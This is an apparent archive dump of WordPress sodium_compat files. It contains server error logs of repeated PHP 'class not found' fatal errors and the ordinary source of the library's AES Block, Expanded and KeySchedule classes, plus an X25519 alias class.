  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[29-Oct-2025 16:12:28 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[29-Oct-2025 16:55:21 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[29-Oct-2025 16:57:12 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[02-Nov-2025 05:52:17 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[03-Nov-2025 01:03:33 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[03-Nov-2025 06:20:41 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[03-Nov-2025 06:51:27 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[03-Nov-2025 06:59:06 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[04-Nov-2025 03:52:39 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[04-Nov-2025 04:29:53 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
AES/Block.php000064400000024342151024240020006712 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_AES_Block', false)) {
    return;
}

/**
 * @internal This should only be used by sodium_compat
 */
class ParagonIE_Sodium_Core_AES_Block extends SplFixedArray
{
    /**
     * @var array<int, int>
     */
    protected $values = array();

    /**
     * @var int
     */
    protected $size;

    /**
     * @param int $size
     */
    public function __construct($size = 8)
    {
        parent::__construct($size);
        $this->size = $size;
        $this->values = array_fill(0, $size, 0);
    }

    /**
     * @return self
     */
    public static function init()
    {
        return new self(8);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param array<int, int> $array
     * @param bool $save_indexes
     * @return self
     *
     * @psalm-suppress MethodSignatureMismatch
     */
    #[ReturnTypeWillChange]
    public static function fromArray($array, $save_indexes = null)
    {
        $count = count($array);
        if ($save_indexes) {
            $keys = array_keys($array);
        } else {
            $keys = range(0, $count - 1);
        }
        $array = array_values($array);
        /** @var array<int, int> $keys */

        $obj = new ParagonIE_Sodium_Core_AES_Block();
        if ($save_indexes) {
            for ($i = 0; $i < $count; ++$i) {
                $obj->offsetSet($keys[$i], $array[$i]);
            }
        } else {
            for ($i = 0; $i < $count; ++$i) {
                $obj->offsetSet($i, $array[$i]);
            }
        }
        return $obj;
    }


    /**
     * @internal You should not use this directly from another application
     *
     * @param int|null $offset
     * @param int $value
     * @return void
     *
     * @psalm-suppress MethodSignatureMismatch
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetSet($offset, $value)
    {
        if (!is_int($value)) {
            throw new InvalidArgumentException('Expected an integer');
        }
        if (is_null($offset)) {
            $this->values[] = $value;
        } else {
            $this->values[$offset] = $value;
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return bool
     *
     * @psalm-suppress MethodSignatureMismatch
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetExists($offset)
    {
        return isset($this->values[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return void
     *
     * @psalm-suppress MethodSignatureMismatch
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetUnset($offset)
    {
        unset($this->values[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return int
     *
     * @psalm-suppress MethodSignatureMismatch
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetGet($offset)
    {
        if (!isset($this->values[$offset])) {
            $this->values[$offset] = 0;
        }
        return (int) ($this->values[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return array
     */
    public function __debugInfo()
    {
        $out = array();
        foreach ($this->values as $v) {
            $out[] = str_pad(dechex($v), 8, '0', STR_PAD_LEFT);
        }
        return array(implode(', ', $out));
        /*
         return array(implode(', ', $this->values));
         */
    }

    /**
     * @param int $cl low bit mask
     * @param int $ch high bit mask
     * @param int $s shift
     * @param int $x index 1
     * @param int $y index 2
     * @return self
     */
    public function swapN($cl, $ch, $s, $x, $y)
    {
        static $u32mask = ParagonIE_Sodium_Core_Util::U32_MAX;
        $a = $this->values[$x] & $u32mask;
        $b = $this->values[$y] & $u32mask;
        // (x) = (a & cl) | ((b & cl) << (s));
        $this->values[$x] = ($a & $cl) | ((($b & $cl) << $s) & $u32mask);
        // (y) = ((a & ch) >> (s)) | (b & ch);
        $this->values[$y] = ((($a & $ch) & $u32mask) >> $s) | ($b & $ch);
        return $this;
    }

    /**
     * @param int $x index 1
     * @param int $y index 2
     * @return self
     */
    public function swap2($x, $y)
    {
        return $this->swapN(0x55555555, 0xAAAAAAAA, 1, $x, $y);
    }

    /**
     * @param int $x index 1
     * @param int $y index 2
     * @return self
     */
    public function swap4($x, $y)
    {
        return $this->swapN(0x33333333, 0xCCCCCCCC, 2, $x, $y);
    }

    /**
     * @param int $x index 1
     * @param int $y index 2
     * @return self
     */
    public function swap8($x, $y)
    {
        return $this->swapN(0x0F0F0F0F, 0xF0F0F0F0, 4, $x, $y);
    }

    /**
     * @return self
     */
    public function orthogonalize()
    {
        return $this
            ->swap2(0, 1)
            ->swap2(2, 3)
            ->swap2(4, 5)
            ->swap2(6, 7)

            ->swap4(0, 2)
            ->swap4(1, 3)
            ->swap4(4, 6)
            ->swap4(5, 7)

            ->swap8(0, 4)
            ->swap8(1, 5)
            ->swap8(2, 6)
            ->swap8(3, 7);
    }

    /**
     * @return self
     */
    public function shiftRows()
    {
        for ($i = 0; $i < 8; ++$i) {
            $x = $this->values[$i] & ParagonIE_Sodium_Core_Util::U32_MAX;
            $this->values[$i] = (
                ($x & 0x000000FF)
                    | (($x & 0x0000FC00) >> 2) | (($x & 0x00000300) << 6)
                    | (($x & 0x00F00000) >> 4) | (($x & 0x000F0000) << 4)
                    | (($x & 0xC0000000) >> 6) | (($x & 0x3F000000) << 2)
            ) & ParagonIE_Sodium_Core_Util::U32_MAX;
        }
        return $this;
    }

    /**
     * @param int $x
     * @return int
     */
    public static function rotr16($x)
    {
        return (($x << 16) & ParagonIE_Sodium_Core_Util::U32_MAX) | ($x >> 16);
    }

    /**
     * @return self
     */
    public function mixColumns()
    {
        $q0 = $this->values[0];
        $q1 = $this->values[1];
        $q2 = $this->values[2];
        $q3 = $this->values[3];
        $q4 = $this->values[4];
        $q5 = $this->values[5];
        $q6 = $this->values[6];
        $q7 = $this->values[7];
        $r0 = (($q0 >> 8) | ($q0 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r1 = (($q1 >> 8) | ($q1 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r2 = (($q2 >> 8) | ($q2 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r3 = (($q3 >> 8) | ($q3 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r4 = (($q4 >> 8) | ($q4 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r5 = (($q5 >> 8) | ($q5 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r6 = (($q6 >> 8) | ($q6 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r7 = (($q7 >> 8) | ($q7 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;

        $this->values[0] = $q7 ^ $r7 ^ $r0 ^ self::rotr16($q0 ^ $r0);
        $this->values[1] = $q0 ^ $r0 ^ $q7 ^ $r7 ^ $r1 ^ self::rotr16($q1 ^ $r1);
        $this->values[2] = $q1 ^ $r1 ^ $r2 ^ self::rotr16($q2 ^ $r2);
        $this->values[3] = $q2 ^ $r2 ^ $q7 ^ $r7 ^ $r3 ^ self::rotr16($q3 ^ $r3);
        $this->values[4] = $q3 ^ $r3 ^ $q7 ^ $r7 ^ $r4 ^ self::rotr16($q4 ^ $r4);
        $this->values[5] = $q4 ^ $r4 ^ $r5 ^ self::rotr16($q5 ^ $r5);
        $this->values[6] = $q5 ^ $r5 ^ $r6 ^ self::rotr16($q6 ^ $r6);
        $this->values[7] = $q6 ^ $r6 ^ $r7 ^ self::rotr16($q7 ^ $r7);
        return $this;
    }

    /**
     * @return self
     */
    public function inverseMixColumns()
    {
        $q0 = $this->values[0];
        $q1 = $this->values[1];
        $q2 = $this->values[2];
        $q3 = $this->values[3];
        $q4 = $this->values[4];
        $q5 = $this->values[5];
        $q6 = $this->values[6];
        $q7 = $this->values[7];
        $r0 = (($q0 >> 8) | ($q0 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r1 = (($q1 >> 8) | ($q1 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r2 = (($q2 >> 8) | ($q2 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r3 = (($q3 >> 8) | ($q3 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r4 = (($q4 >> 8) | ($q4 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r5 = (($q5 >> 8) | ($q5 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r6 = (($q6 >> 8) | ($q6 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r7 = (($q7 >> 8) | ($q7 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;

        $this->values[0] = $q5 ^ $q6 ^ $q7 ^ $r0 ^ $r5 ^ $r7 ^ self::rotr16($q0 ^ $q5 ^ $q6 ^ $r0 ^ $r5);
        $this->values[1] = $q0 ^ $q5 ^ $r0 ^ $r1 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q1 ^ $q5 ^ $q7 ^ $r1 ^ $r5 ^ $r6);
        $this->values[2] = $q0 ^ $q1 ^ $q6 ^ $r1 ^ $r2 ^ $r6 ^ $r7 ^ self::rotr16($q0 ^ $q2 ^ $q6 ^ $r2 ^ $r6 ^ $r7);
        $this->values[3] = $q0 ^ $q1 ^ $q2 ^ $q5 ^ $q6 ^ $r0 ^ $r2 ^ $r3 ^ $r5 ^ self::rotr16($q0 ^ $q1 ^ $q3 ^ $q5 ^ $q6 ^ $q7 ^ $r0 ^ $r3 ^ $r5 ^ $r7);
        $this->values[4] = $q1 ^ $q2 ^ $q3 ^ $q5 ^ $r1 ^ $r3 ^ $r4 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q1 ^ $q2 ^ $q4 ^ $q5 ^ $q7 ^ $r1 ^ $r4 ^ $r5 ^ $r6);
        $this->values[5] = $q2 ^ $q3 ^ $q4 ^ $q6 ^ $r2 ^ $r4 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q2 ^ $q3 ^ $q5 ^ $q6 ^ $r2 ^ $r5 ^ $r6 ^ $r7);
        $this->values[6] = $q3 ^ $q4 ^ $q5 ^ $q7 ^ $r3 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q3 ^ $q4 ^ $q6 ^ $q7 ^ $r3 ^ $r6 ^ $r7);
        $this->values[7] = $q4 ^ $q5 ^ $q6 ^ $r4 ^ $r6 ^ $r7 ^ self::rotr16($q4 ^ $q5 ^ $q7 ^ $r4 ^ $r7);
        return $this;
    }

    /**
     * @return self
     */
    public function inverseShiftRows()
    {
        for ($i = 0; $i < 8; ++$i) {
            $x = $this->values[$i];
            $this->values[$i] = ParagonIE_Sodium_Core_Util::U32_MAX & (
                ($x & 0x000000FF)
                    | (($x & 0x00003F00) << 2) | (($x & 0x0000C000) >> 6)
                    | (($x & 0x000F0000) << 4) | (($x & 0x00F00000) >> 4)
                    | (($x & 0x03000000) << 6) | (($x & 0xFC000000) >> 2)
            );
        }
        return $this;
    }
}
AES/Expanded.php000064400000000460151024240020007403 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_AES_Expanded', false)) {
    return;
}

/**
 * @internal This should only be used by sodium_compat
 */
class ParagonIE_Sodium_Core_AES_Expanded extends ParagonIE_Sodium_Core_AES_KeySchedule
{
    /** @var bool $expanded */
    protected $expanded = true;
}
AES/KeySchedule.php000064400000003531151024240020010062 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_AES_KeySchedule', false)) {
    return;
}

/**
 * @internal This should only be used by sodium_compat
 */
class ParagonIE_Sodium_Core_AES_KeySchedule
{
    /** @var array<int, int> $skey -- has size 120 */
    protected $skey;

    /** @var bool $expanded */
    protected $expanded = false;

    /** @var int $numRounds */
    private $numRounds;

    /**
     * @param array $skey
     * @param int $numRounds
     */
    public function __construct(array $skey, $numRounds = 10)
    {
        $this->skey = $skey;
        $this->numRounds = $numRounds;
    }

    /**
     * Get a value at an arbitrary index. Mostly used for unit testing.
     *
     * @param int $i
     * @return int
     */
    public function get($i)
    {
        return $this->skey[$i];
    }

    /**
     * @return int
     */
    public function getNumRounds()
    {
        return $this->numRounds;
    }

    /**
     * @param int $offset
     * @return ParagonIE_Sodium_Core_AES_Block
     */
    public function getRoundKey($offset)
    {
        return ParagonIE_Sodium_Core_AES_Block::fromArray(
            array_slice($this->skey, $offset, 8)
        );
    }

    /**
     * Return an expanded key schedule
     *
     * @return ParagonIE_Sodium_Core_AES_Expanded
     */
    public function expand()
    {
        $exp = new ParagonIE_Sodium_Core_AES_Expanded(
            array_fill(0, 120, 0),
            $this->numRounds
        );
        $n = ($exp->numRounds + 1) << 2;
        for ($u = 0, $v = 0; $u < $n; ++$u, $v += 2) {
            $x = $y = $this->skey[$u];
            $x &= 0x55555555;
            $exp->skey[$v] = ($x | ($x << 1)) & ParagonIE_Sodium_Core_Util::U32_MAX;
            $y &= 0xAAAAAAAA;
            $exp->skey[$v + 1] = ($y | ($y >> 1)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        }
        return $exp;
    }
}
X25519.php000064400000000140151024240020006053 0ustar00<?php
namespace ParagonIE\Sodium\Core;

class X25519 extends \ParagonIE_Sodium_Core_X25519
{

}
Curve25519/Ge/error_log000064400000040436151024322670010517 0ustar00[28-Oct-2025 15:46:07 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P3" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P3.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P3.php on line 4
[28-Oct-2025 16:31:10 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P2" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php on line 4
[28-Oct-2025 16:31:38 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P1p1" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php on line 4
[28-Oct-2025 18:49:12 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_Cached" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.php on line 4
[28-Oct-2025 19:00:07 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_Precomp" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.php on line 4
[02-Nov-2025 07:02:54 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P3" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P3.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P3.php on line 4
[02-Nov-2025 08:09:16 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P2" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php on line 4
[02-Nov-2025 08:09:58 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P1p1" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php on line 4
[02-Nov-2025 10:57:38 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_Cached" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.php on line 4
[02-Nov-2025 11:08:37 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_Precomp" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.php on line 4
[03-Nov-2025 04:24:38 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P2" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php on line 4
[03-Nov-2025 04:25:08 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P1p1" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php on line 4
[03-Nov-2025 07:56:33 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_Cached" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.php on line 4
[03-Nov-2025 08:10:46 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_Precomp" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.php on line 4
[04-Nov-2025 04:48:25 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P2" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php on line 4
[04-Nov-2025 04:48:26 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P1p1" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php on line 4
[04-Nov-2025 04:48:52 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_Cached" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.php on line 4
[04-Nov-2025 04:49:11 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_Precomp" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.php on line 4
[04-Nov-2025 04:51:04 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P1p1" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php on line 4
[04-Nov-2025 04:52:00 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P3" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P3.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P3.php on line 4
[04-Nov-2025 04:56:40 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P2" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php on line 4
[04-Nov-2025 05:00:10 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_Cached" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.php on line 4
[04-Nov-2025 05:03:50 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_Precomp" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.php on line 4
[04-Nov-2025 05:04:35 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P3" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P3.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P3.php on line 4
[04-Nov-2025 05:06:39 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P2" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php on line 4
[04-Nov-2025 05:07:56 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P1p1" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php on line 4
[05-Nov-2025 00:23:29 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Ge_P3" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P3.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P3.php on line 4
